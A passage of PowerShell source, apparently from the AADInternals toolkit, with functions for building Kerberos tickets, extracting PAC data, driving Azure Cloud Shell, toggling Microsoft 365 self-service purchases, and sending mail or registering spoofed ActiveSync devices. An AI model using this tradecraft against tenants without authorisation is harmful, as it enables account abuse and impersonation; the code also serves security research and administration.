Add-DERTag -Tag 0xA0 -Data @(Add-DERInteger -Data @(0x12)) # aes256-cts-hmac-sha1-96
}
Add-DERTag -Tag 0xA2 -Data @(Add-DERTag -Tag 0x04 $encryptedAuthenticator)
)
)
)
)
)
)
)
)
)
)
# Return
$b64Ticket=[Convert]::ToBase64String([byte[]]$kerberosTicket)
return $b64Ticket
}
}
# Extracts PAC from the given Kerberos token
# Mar 26th 2021
function Get-PAC
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Token
)
Process
{
$parsedToken = Parse-Asn1 -Data $Token
return $parsedToken.Data[1].Data.Data[1].Data.Data.Data[2].Data.Data[3].Data.Data.Data[3].Data.Data[2].Data.Data
}
}
# Extracts Authenticator from the given Kerberos token
# Mar 26th 2021
function Get-Authenticator
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Token
)
Process
{
$parsedToken = Parse-Asn1 -Data $Token
return $parsedToken.Data[1].Data.Data[1].Data.Data.Data[2].Data.Data[4].Data.Data[1].Data.Data
}
}
# Parses PAC
# Mar 27th 2021
function Parse-PAC
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PAC
)
Process
{
# PAC doesn't have "root" element, so let's add one
$newData = Add-DERSequence -Data $PAC
return Parse-Asn1 -Data $newData
}
}
# Parses Authenticator
# Mar 27th 2021
function Parse-Authenticator
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Authenticator
)
Process
{
# Authenticator doesn't have "root" element, so let's add one
$newData = Add-DERSequence -Data $Authenticator
return Parse-Asn1 -Data $newData
}
}
# Gets the sessionkey from PAC
# Mar 26th 2021
function Get-SessionKeyFromPAC
{
Param(
[Parameter(Mandatory=$True)]
[byte[]]$PAC
)
Process
{
$parsedPAC = Parse-PAC -PAC $PAC
return $parsedPAC.Data.Data.Data[1].Data.Data[1].Data.Data
}
} |
CloudShell_utils.ps1 | AADInternals-0.9.4 | # Creates a new Cloud Shell
# Sep 8th 2020
function New-CloudShell
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$PreferredLocation="westeurope"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "00000006-0000-0ff1-ce00-000000000000"
$headers=@{
"x-ms-console-preferred-location" = $PreferredLocation
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
$body = '{"properties":{"osType":"linux"}}'
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2020-04-01-preview" -Method Put -Body $body -Headers $headers -ErrorAction SilentlyContinue
# return
return $response.properties
}
}
# Gets cloud shell authorization token
# Sep 8th 2020
function Get-CloudShellAuthToken
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Url
)
Process
{
# Create headers
$headers=@{
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
# Empty body
$body = '{}'
# Fix the url
$url = $url.Replace(":443","")
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/authorize" -Method Post -Body $body -Headers $headers
# return
return $response.token
}
}
# Gets cloud shell settings
# Sep 8th 2020
function Get-CloudShellSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$False)]
[String]$Shell="pwsh"
)
Process
{
# Create headers
$headers=@{
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
# Get the window size
$rows = [console]::WindowHeight
$cols = [console]::WindowWidth
if($Shell -ne "Bash")
{
$Shell = "pwsh"
}
# Empty body
$body = '{}'
# Fix the url
$url = $url.Replace(":443","")
$response = Invoke-RestMethod -UseBasicParsing -Uri "$url/terminals?cols=$cols&rows=$rows&version=2019-01-01&shell=$Shell" -Method Post -Body $body -Headers $headers
# return
return $response
}
}
# Gets user's cloud shell settings
# Jan 1st 2023
function Get-UserCloudShellSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Create headers
$headers=@{
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
try
{
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2020-04-01-preview" -Headers $headers
}
catch{}
# return
return $response
}
}
# Gets user's cloud shell settings
# Jan 1st 2023
function Set-UserCloudShellSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$StorageAccountId,
[Parameter(Mandatory=$True)]
[String]$FileShareName
)
Process
{
# Create headers
$headers=@{
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
try
{
# Create the body
$body = @{
"properties" = @{
"preferredOsType" = "Linux"
"preferredLocation" = "westeurope"
"storageProfile" = @{
"storageAccountResourceId" = $StorageAccountId
"fileShareName" = $fileShareName
"diskSizeInGB" = 5
}
"terminalSettings" = @{
"fontSize" = "Medium"
"fontStyle" = "Monospace"
}
"preferredShellType" = "pwsh"
"vnetSettings" = @{}
"networkType" = "Default"
}
}
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2020-04-01-preview" -Headers $headers -Method Put -Body $($body | ConvertTo-Json -Depth 4)
}
catch
{}
# return
return $response
}
}
# Remove user's cloud shell settings
# Jan 1st 2023
function Remove-UserCloudShellSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Create headers
$headers=@{
"Content-Type" = "application/json"
"Authorization" = "Bearer $AccessToken"
}
try
{
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2020-04-01-preview" -Headers $headers -Method Delete
}
catch
{}
# return
return $response
}
} |
MSCommerce.ps1 | AADInternals-0.9.4 | # This file contains functions for MS Commerce
# List self-service-purchase products
# Aug 27th 2021
function Get-SelfServicePurchaseProducts
{
<#
.SYNOPSIS
Lists the status of self-service purchase products
.DESCRIPTION
Lists the status of self-service purchase products
.Parameter AccessToken
The access token used to get the status of the self-service purchase products.
.Example
PS C:\>Get-AADIntAccessTokenForMSCommerce -SaveToCache
PS C:\>Get-AADIntSelfServicePurchaseProducts
Product Id Status
------- -- ------
Windows 365 Enterprise CFQ7TTC0HHS9 Enabled
Windows 365 Business with Windows Hybrid Benefit CFQ7TTC0HX99 Enabled
Windows 365 Business CFQ7TTC0J203 Enabled
Power Automate per user CFQ7TTC0KP0N Enabled
Power Apps per user CFQ7TTC0KP0P Enabled
Power Automate RPA CFQ7TTC0KXG6 Enabled
Power BI Premium (standalone) CFQ7TTC0KXG7 Enabled
Visio Plan 2 CFQ7TTC0KXN8 Enabled
Visio Plan 1 CFQ7TTC0KXN9 Enabled
Project Plan 3 CFQ7TTC0KXNC Enabled
Project Plan 1 CFQ7TTC0KXND Enabled
Power BI Pro CFQ7TTC0L3PB Enabled
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "aeb86249-8ea3-49e2-900b-54cc8e308f85" -ClientId "3d5cffa9-04da-4657-8cab-c7f074657cad"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://licensing.m365.microsoft.com/v1.0/policies/AllowSelfServicePurchase/products" -Headers $headers
# Return the products
foreach($item in $response.items)
{
New-Object psobject -Property ([ordered]@{
"Product" = $item.productName
"Id" = $item.productID
"Status" = $item.policyValue
})
}
}
}
# Change the status of self-service-purchase products
# Aug 27th 2021
function Set-SelfServicePurchaseProduct
{
<#
.SYNOPSIS
Change the status of the given self-service purchase product
.DESCRIPTION
Change the status of the given self-service purchase product
.Parameter AccessToken
The access token used to change the status of the self-service purchase product.
.Example
PS C:\>Get-AADIntAccessTokenForMSCommerce -SaveToCache
PS C:\>Set-AADIntSelfServicePurchaseProduct -Id CFQ7TTC0L3PB -Enabled $false
Product Id Status
------- -- ------
Power BI Pro CFQ7TTC0L3PB Disabled
.Example
Get-AADIntSelfServicePurchaseProducts | Set-AADIntSelfServicePurchaseProduct -Enabled $false
Product Id Status
------- -- ------
Windows 365 Enterprise CFQ7TTC0HHS9 Disabled
Windows 365 Business with Windows Hybrid Benefit CFQ7TTC0HX99 Disabled
Windows 365 Business CFQ7TTC0J203 Disabled
Power Automate per user CFQ7TTC0KP0N Disabled
Power Apps per user CFQ7TTC0KP0P Disabled
Power Automate RPA CFQ7TTC0KXG6 Disabled
Power BI Premium (standalone) CFQ7TTC0KXG7 Disabled
Visio Plan 2 CFQ7TTC0KXN8 Disabled
Visio Plan 1 CFQ7TTC0KXN9 Disabled
Project Plan 3 CFQ7TTC0KXNC Disabled
Project Plan 1 CFQ7TTC0KXND Disabled
Power BI Pro CFQ7TTC0L3PB Disabled
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True,ValueFromPipelineByPropertyName=$True)]
[String]$Id,
[Parameter(Mandatory=$True)]
[Boolean]$Enabled
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "aeb86249-8ea3-49e2-900b-54cc8e308f85" -ClientId "3d5cffa9-04da-4657-8cab-c7f074657cad"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
if($Enabled)
{
$policyValue = "Enabled"
}
else
{
$policyValue = "Disabled"
}
$body = @{ "policyValue" = $policyValue}
# Invoke the command
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://licensing.m365.microsoft.com/v1.0/policies/AllowSelfServicePurchase/products/$Id" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Return
New-Object psobject -Property ([ordered]@{
"Product" = $response.productName
"Id" = $response.productID
"Status" = $response.policyValue
})
}
catch
{
throw $_
}
}
} |
ActiveSync.ps1 | AADInternals-0.9.4 | # Performs EAS autodiscover
# Aug 30th 2022: Updated protocols, credits to celsogbezerra
function Get-EASAutoDiscover
{
<#
.SYNOPSIS
Performs autodiscover for the given user and protocol
.DESCRIPTION
Performs autodiscover for the given user using AutoDiscover V2. Returns the url of the requested protocol, defaults to ActiveSync
.Example
Get-AADIntEASAutoDiscover -Email [email protected]
Protocol Url
-------- ---
ActiveSync https://outlook.office365.com/Microsoft-Server-ActiveSync
.Example
Get-AADIntEASAutoDiscover -Email [email protected] -Protocol All
Protocol Url
-------- ---
Rest https://outlook.office.com/api
ActiveSync https://outlook.office365.com/Microsoft-Server-ActiveSync
Ews https://outlook.office365.com/EWS/Exchange.asmx
Substrate https://substrate.office.com
Substratesearchservice https://outlook.office365.com/search
AutodiscoverV1 https://outlook.office365.com/autodiscover/autodiscover.xml
substratesearchservice https://outlook.office365.com/search
substratenotificationservice https://substrate.office.com/insights
outlookmeetingscheduler https://outlook.office.com/scheduling/api
outlookpay https://outlook.office.com/opay
#>
Param(
[Parameter(Mandatory=$True)]
[String]$Email,
[ValidateSet('All','Actions','ActiveSync','AutodiscoverV1','CompliancePolicyService','Connectors','ConnectorsProcessors','ConnectorsWebhook','Ews','NotesClient','OutlookCloudSettingsService','OutlookLocationsService','OutlookMeetingScheduler','OutlookPay','OutlookTailoredExperiences','OwaPoweredExperience','OwaPoweredExperienceV2','Rest','SpeechAndLanguagePersonalization','Speedway','Substrate','SubstrateNotificationService','SubstrateSearchService','SubstrateSignalService','ToDo','Weve')]
[String]$Protocol="All"
)
Process
{
if($Protocol -eq "All")
{
$Protocols = @('Actions','ActiveSync','AutodiscoverV1','CompliancePolicyService','Connectors','ConnectorsProcessors','ConnectorsWebhook','Ews','NotesClient','OutlookCloudSettingsService','OutlookLocationsService','OutlookMeetingScheduler','OutlookPay','OutlookTailoredExperiences','OwaPoweredExperience','OwaPoweredExperienceV2','Rest','SpeechAndLanguagePersonalization','Speedway','Substrate','SubstrateNotificationService','SubstrateSearchService','SubstrateSignalService','ToDo','Weve')
$Response = @()
foreach($p in $Protocols)
{
$url = "https://outlook.office365.com/Autodiscover/Autodiscover.json?Email=$Email&Protocol=$p"
$response+=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Get
}
}
else
{
$url = "https://outlook.office365.com/Autodiscover/Autodiscover.json?Email=$Email&Protocol=$Protocol"
$response=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Get
}
$response
}
}
<#
.SYNOPSIS
Performs autodiscover for the given user
.DESCRIPTION
Performs autodiscover for the given user. Returns the url of ActiveSync service
.Example
Get-AADIntEASAutoDiscoverV1 -Credentials $Cred
https://outlook.office365.com/Microsoft-Server-ActiveSync
#>
function Get-EASAutoDiscoverV1
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$auth = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$headers = @{
"Authorization" = $auth
"Content-Type" = "text/xml"
}
$user=Get-UserNameFromAuthHeader -Auth $auth
$domain=$user.Split("@")[1]
# Default host for Office 365
$hostname = "autodiscover-s.outlook.com"
$url = "https://$hostname/Autodiscover/Autodiscover.xml"
$body=@"
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/mobilesync/requestschema/2006">
<Request>
<EMailAddress>$user</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006</AcceptableResponseSchema>
</Request>
</Autodiscover>
"@
$response=Invoke-RestMethod -UseBasicParsing -Uri $url -Method Post -Headers $headers -Body $body -TimeoutSec 60
$response.Autodiscover.Response.Action.Settings.Server.Url
}
}
function Get-EASOptions
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
}
$response=Invoke-WebRequest -UseBasicParsing -Uri "https://outlook.office365.com/Microsoft-Server-ActiveSync" -Method Options -Headers $headers -TimeoutSec 10
$response.headers
}
}
# Get folders to sync
function Get-EASFolderSync
{
<#
.SYNOPSIS
Gets user's ActiveSync options
.DESCRIPTION
Gets user's ActiveSync options. Shows for instance Front and Backend server names.
The first two characters indicates the city: HE=Helsinki, VI=Vienna, DB=Dublin, AM=Amsterdam, etc.
.Example
Get-AADIntEASOptions -Credentials $Cred
Key Value
--- -----
Allow OPTIONS,POST
request-id 61e62c8d-f689-4d08-b0d7-4ffa1e42e1ea
X-CalculatedBETarget HE1PR0802MB2202.eurprd08.prod.outlook.com
X-BackEndHttpStatus 200
X-RUM-Validated 1
MS-Server-ActiveSync 15.20
MS-ASProtocolVersions 2.0,2.1,2.5,12.0,12.1,14.0,14.1,16.0,16.1
MS-ASProtocolCommands Sync,SendMail,SmartForward,SmartReply,GetAttachment,GetHierarchy,CreateCollection,DeleteCollection,MoveCollectio...
Public OPTIONS,POST
X-MS-BackOffDuration L/-469
X-DiagInfo HE1PR0802MB2202
X-BEServer HE1PR0802MB2202
X-FEServer HE1PR1001CA0019
Content-Length 0
Cache-Control private
Content-Type application/vnd.ms-sync.wbxml
Date Wed, 03 Apr 2019 17:40:18 GMT
Server Microsoft-IIS/10.0
X-AspNet-Version 4.0.30319
X-Powered-By ASP.NET
#>
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android"
)
Process
{
[xml]$request=@"
<FolderSync xmlns="FolderHierarchy">
<SyncKey>0</SyncKey>
</FolderSync>
"@
$response = Call-EAS -Request $request -Command FolderSync -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType
return $response
}
}
function Send-EASMessage
{
<#
.SYNOPSIS
Sends mail message using ActiveSync
.DESCRIPTION
Sends mail using ActiveSync using the account of given credentials.
Supports both Basic and Modern Authentication.
Message MUST be html (or plaintext) and SHOULD be Base64 encoded (if not, it's automatically converted).
.Example
PS C:\>$Cred=Get-Credential
PS C:\>Send-AADIntEASMessage -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Recipient [email protected] -Subject "An email" -Message "This is a message!"
.Example
PS C:\>$At=Get-AADIntAccessTokenForEXO
PS C:\>Send-AADIntEASMessage -AccessToken $At -DeviceId androidc481040056 -DeviceType Android -Recipient [email protected] -Subject "An email" -Message "This is a message!"
#>
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Recipient,
[Parameter(Mandatory=$True)]
[String]$Subject,
[Parameter(Mandatory=$True)]
[String]$Message,
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android",
[Parameter(Mandatory=$False)]
[String]$DeviceOS
)
Process
{
$messageId = (New-Guid).ToString()
[xml]$request=@"
<SendMail xmlns="ComposeMail"><ClientId>$messageId</ClientId><SaveInSentItems></SaveInSentItems><MIME><![CDATA[Date: Wed, 03 Apr 2019 08:51:41 +0300
Subject: $Subject
Message-ID: <$messageId>
From: [email protected]
To: $recipient
Importance: Normal
X-Priority: 3
X-MSMail-Priority: Normal
MIME-Version: 1.0
Content-Type: text/html; charset=utf-8
Content-Transfer-Encoding: base64
$(Get-MessageAsBase64 -Message $Message)
]]></MIME></SendMail>
"@
$response = Call-EAS -Request $request -Command SendMail -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -DeviceOS $DeviceOS
return $response
}
}
<#
.SYNOPSIS
Sets users device settings using ActiveSync
.DESCRIPTION
Sets users device settings using ActiveSync. You can change device's Model, IMEI, FriendlyName, OS, OSLanguage, PhoneNumber, MobileOperator, and User-Agent.
All empty properties are cleared from the device settings. I.e., if IMEI is not given, it will be cleared.
.Example
PS C:\>$Cred=Get-Credential
PS C:\>Set-AADIntEASSettings -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Model "Samsung S10" -PhoneNumber "+1234567890"
#>
function Set-EASSettings
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android",
[Parameter(Mandatory=$False)]
[String]$Model,
[Parameter(Mandatory=$False)]
[String]$IMEI,
[Parameter(Mandatory=$False)]
[String]$FriendlyName,
[Parameter(Mandatory=$False)]
[String]$OS,
[Parameter(Mandatory=$False)]
[String]$OSLanguage,
[Parameter(Mandatory=$False)]
[String]$PhoneNumber,
[Parameter(Mandatory=$False)]
[String]$MobileOperator,
[Parameter(Mandatory=$False)]
[String]$UserAgent
)
Process
{
[xml]$request=@"
<Settings xmlns="Settings">
<DeviceInformation>
<Set>
<Model>$Model</Model>
<IMEI>$IMEI</IMEI>
<FriendlyName>$FriendlyName</FriendlyName>
<OS>$OS</OS>
<OSLanguage>$OSLanguage</OSLanguage>
<PhoneNumber>$PhoneNumber</PhoneNumber>
<MobileOperator>$MobileOperator</MobileOperator>
<UserAgent>$UserAgent</UserAgent>
</Set>
</DeviceInformation>
</Settings>
"@
$response = Call-EAS -Request $request -Command Settings -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent
return $response.OuterXml
}
}
<#
.SYNOPSIS
Adds a new ActiveSync device to user
.DESCRIPTION
Adds a new ActiveSync device to the user, and accepts security policies. All device information settings are required (Model, IMEI, FriendlyName, OS, OSLanguage, PhoneNumber, MobileOperator, and User-Agent).
Returns a policy key that could be used in subsequent ActiveSync calls
.Example
PS C:\>$Cred=Get-Credential
PS C:\>Add-AADIntEASDevice -Credentials $Cred -DeviceId androidc481040056 -DeviceType Android -Model "Samsung S10" -PhoneNumber "+1234567890" -IMEI "1234" -FriendlyName "My Phone" -OS "Android" -OSLanguage "EN" -MobileOperator "BT" -UserAgent "Android/8.0"
3382976401
#>
function Add-EASDevice
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android",
[Parameter(Mandatory=$False)]
[String]$Model,
[Parameter(Mandatory=$False)]
[String]$IMEI,
[Parameter(Mandatory=$False)]
[String]$FriendlyName,
[Parameter(Mandatory=$False)]
[String]$OS,
[Parameter(Mandatory=$False)]
[String]$OSLanguage,
[Parameter(Mandatory=$False)]
[String]$PhoneNumber,
[Parameter(Mandatory=$False)]
[String]$MobileOperator,
[Parameter(Mandatory=$False)]
[String]$UserAgent
)
Process
{
[xml]$request=@"
<Provision xmlns="Provision" >
<DeviceInformation xmlns="Settings">
<Set>
<Model>$Model</Model>
<IMEI>$IMEI</IMEI>
<FriendlyName>$FriendlyName</FriendlyName>
<OS>$OS</OS>
<OSLanguage>$OSLanguage</OSLanguage>
<PhoneNumber>$PhoneNumber</PhoneNumber>
<MobileOperator>$MobileOperator</MobileOperator>
<UserAgent>$UserAgent</UserAgent>
</Set>
</DeviceInformation>
<Policies>
<Policy>
<PolicyType>MS-EAS-Provisioning-WBXML</PolicyType>
</Policy>
</Policies>
</Provision>
"@
# The first request (must be done twice for some reason)
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey 0
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey 0
# Save the temporary policy key
$policyKey = $response.Provision.Policies.Policy.PolicyKey
# Create a request to acknowledge the policy
[xml]$request=@"
<Provision xmlns="Provision" >
<Policies>
<Policy>
<PolicyType>MS-EAS-Provisioning-WBXML</PolicyType>
<PolicyKey>$policyKey</PolicyKey>
<Status>1</Status>
</Policy>
</Policies>
</Provision>
"@
# The second request
$response = Call-EAS -Request $request -Command Provision -Authorization (Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c") -DeviceId $DeviceId -DeviceType $DeviceType -UserAgent $UserAgent -PolicyKey $policyKey
# Save the final policy key
$policyKey = $response.Provision.Policies.Policy.PolicyKey
$policyKey
}
}
# Jan 2nd 2020
function Get-MobileOutlookSettings
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"Accept"="application/json"
}
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://outlook.office365.com/outlookservice/ishxscapable" -Headers $headers
# Return
$response
}
}
# Gets the settings for Exchange Active Sync (Outlook mobile)
function Get-EASSettings
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"Accept"="application/json"
}
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://outlook.office365.com/outlookservice/ishxscapable" -Headers $headers
# Return
$response
}
}
# Gets the sync status for Exchange Active Sync (Outlook mobile)
function Get-EASSyncStatus
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$AnchorMailBox,
[Parameter(Mandatory=$True)]
[byte[]]$OutlookFrame
)
Process
{
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"Accept"="application/http.wbxml"
"X-AnchorMailbox" = $AnchorMailBox
"Content-Type" = "application/http.wbxml"
"X-OSApi-Protocol" = "HttpSockets:1.1"
#"X-CommandId" = "6" # 6
"User-Agent" = "Outlook-Android/2.0"
"connect" = "GET"
}
$response=Invoke-WebRequest -UseBasicParsing "https://outlook.office365.com/outlookservice/servicechannel.hxs" -Headers $headers -Body $OutlookFrame -Method Post -TimeOutSec 300
$responseBytes = [byte[]]$response.Content
[xml]$responseXml = O365WBXML2XML -wbxml $responseBytes
# Return
$responseXml.InnerXml
}
}
function Get-EASMails
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android",
[Parameter(Mandatory=$False)]
[String]$OSVersion="5.0.2",
[Parameter(Mandatory=$False)]
[String]$ClientVersion="4.0.90 (379) prod",
[Parameter(Mandatory=$False)]
[String]$OutlookVersion="16.0.12317.33832",
[Parameter(Mandatory=$False)]
[String]$OutlookTitle="Outlook for iOS and Android"
)
Process
{
$settings = Get-EASSettings -Credentials $Credentials -AccessToken $AccessToken
$anchorMailBox = $settings.AnchorMailBox
$request=@"
<frames>
<frame>
<block>
<_FF_05 xmlns="_FF">
<_FF_07 xmlns="_FF">
<EXT_2>01</EXT_2>
</_FF_07>
<_FF_06 xmlns="_FF">
<EXT_2>01</EXT_2>
</_FF_06>
<_FF_08 xmlns="_FF">sync</_FF_08>
<_FF_09 xmlns="_FF">$((New-Guid).ToString())</_FF_09>
<_FF_0D xmlns="_FF">
<EXT_2>04</EXT_2>
</_FF_0D>
<_FF_0E xmlns="_FF">
<EXT_2>0B</EXT_2>
</_FF_0E>
<_FF_0F xmlns="_FF">
<EXT_2>1C03</EXT_2>
</_FF_0F>
<_FF_19 xmlns="_FF">$($DeviceId.ToString())</_FF_19>
<_FF_16 xmlns="_FF"/>
<_FF_2B xmlns="_FF">$ClientVersion</_FF_2B>
<_FF_18 xmlns="_FF">$OutlookVersion</_FF_18>
<_FF_1A xmlns="_FF">$OSVersion</_FF_1A>
<_FF_1B xmlns="_FF">$DeviceType</_FF_1B>
<_FF_1F xmlns="_FF"/>
<_FF_2A xmlns="_FF"/>
<_FF_20 xmlns="_FF">
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>01</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">$((New-Guid).ToString())</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>02</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>03</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">0</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>04</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>06</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>08</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>0B</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>09</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>0E</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
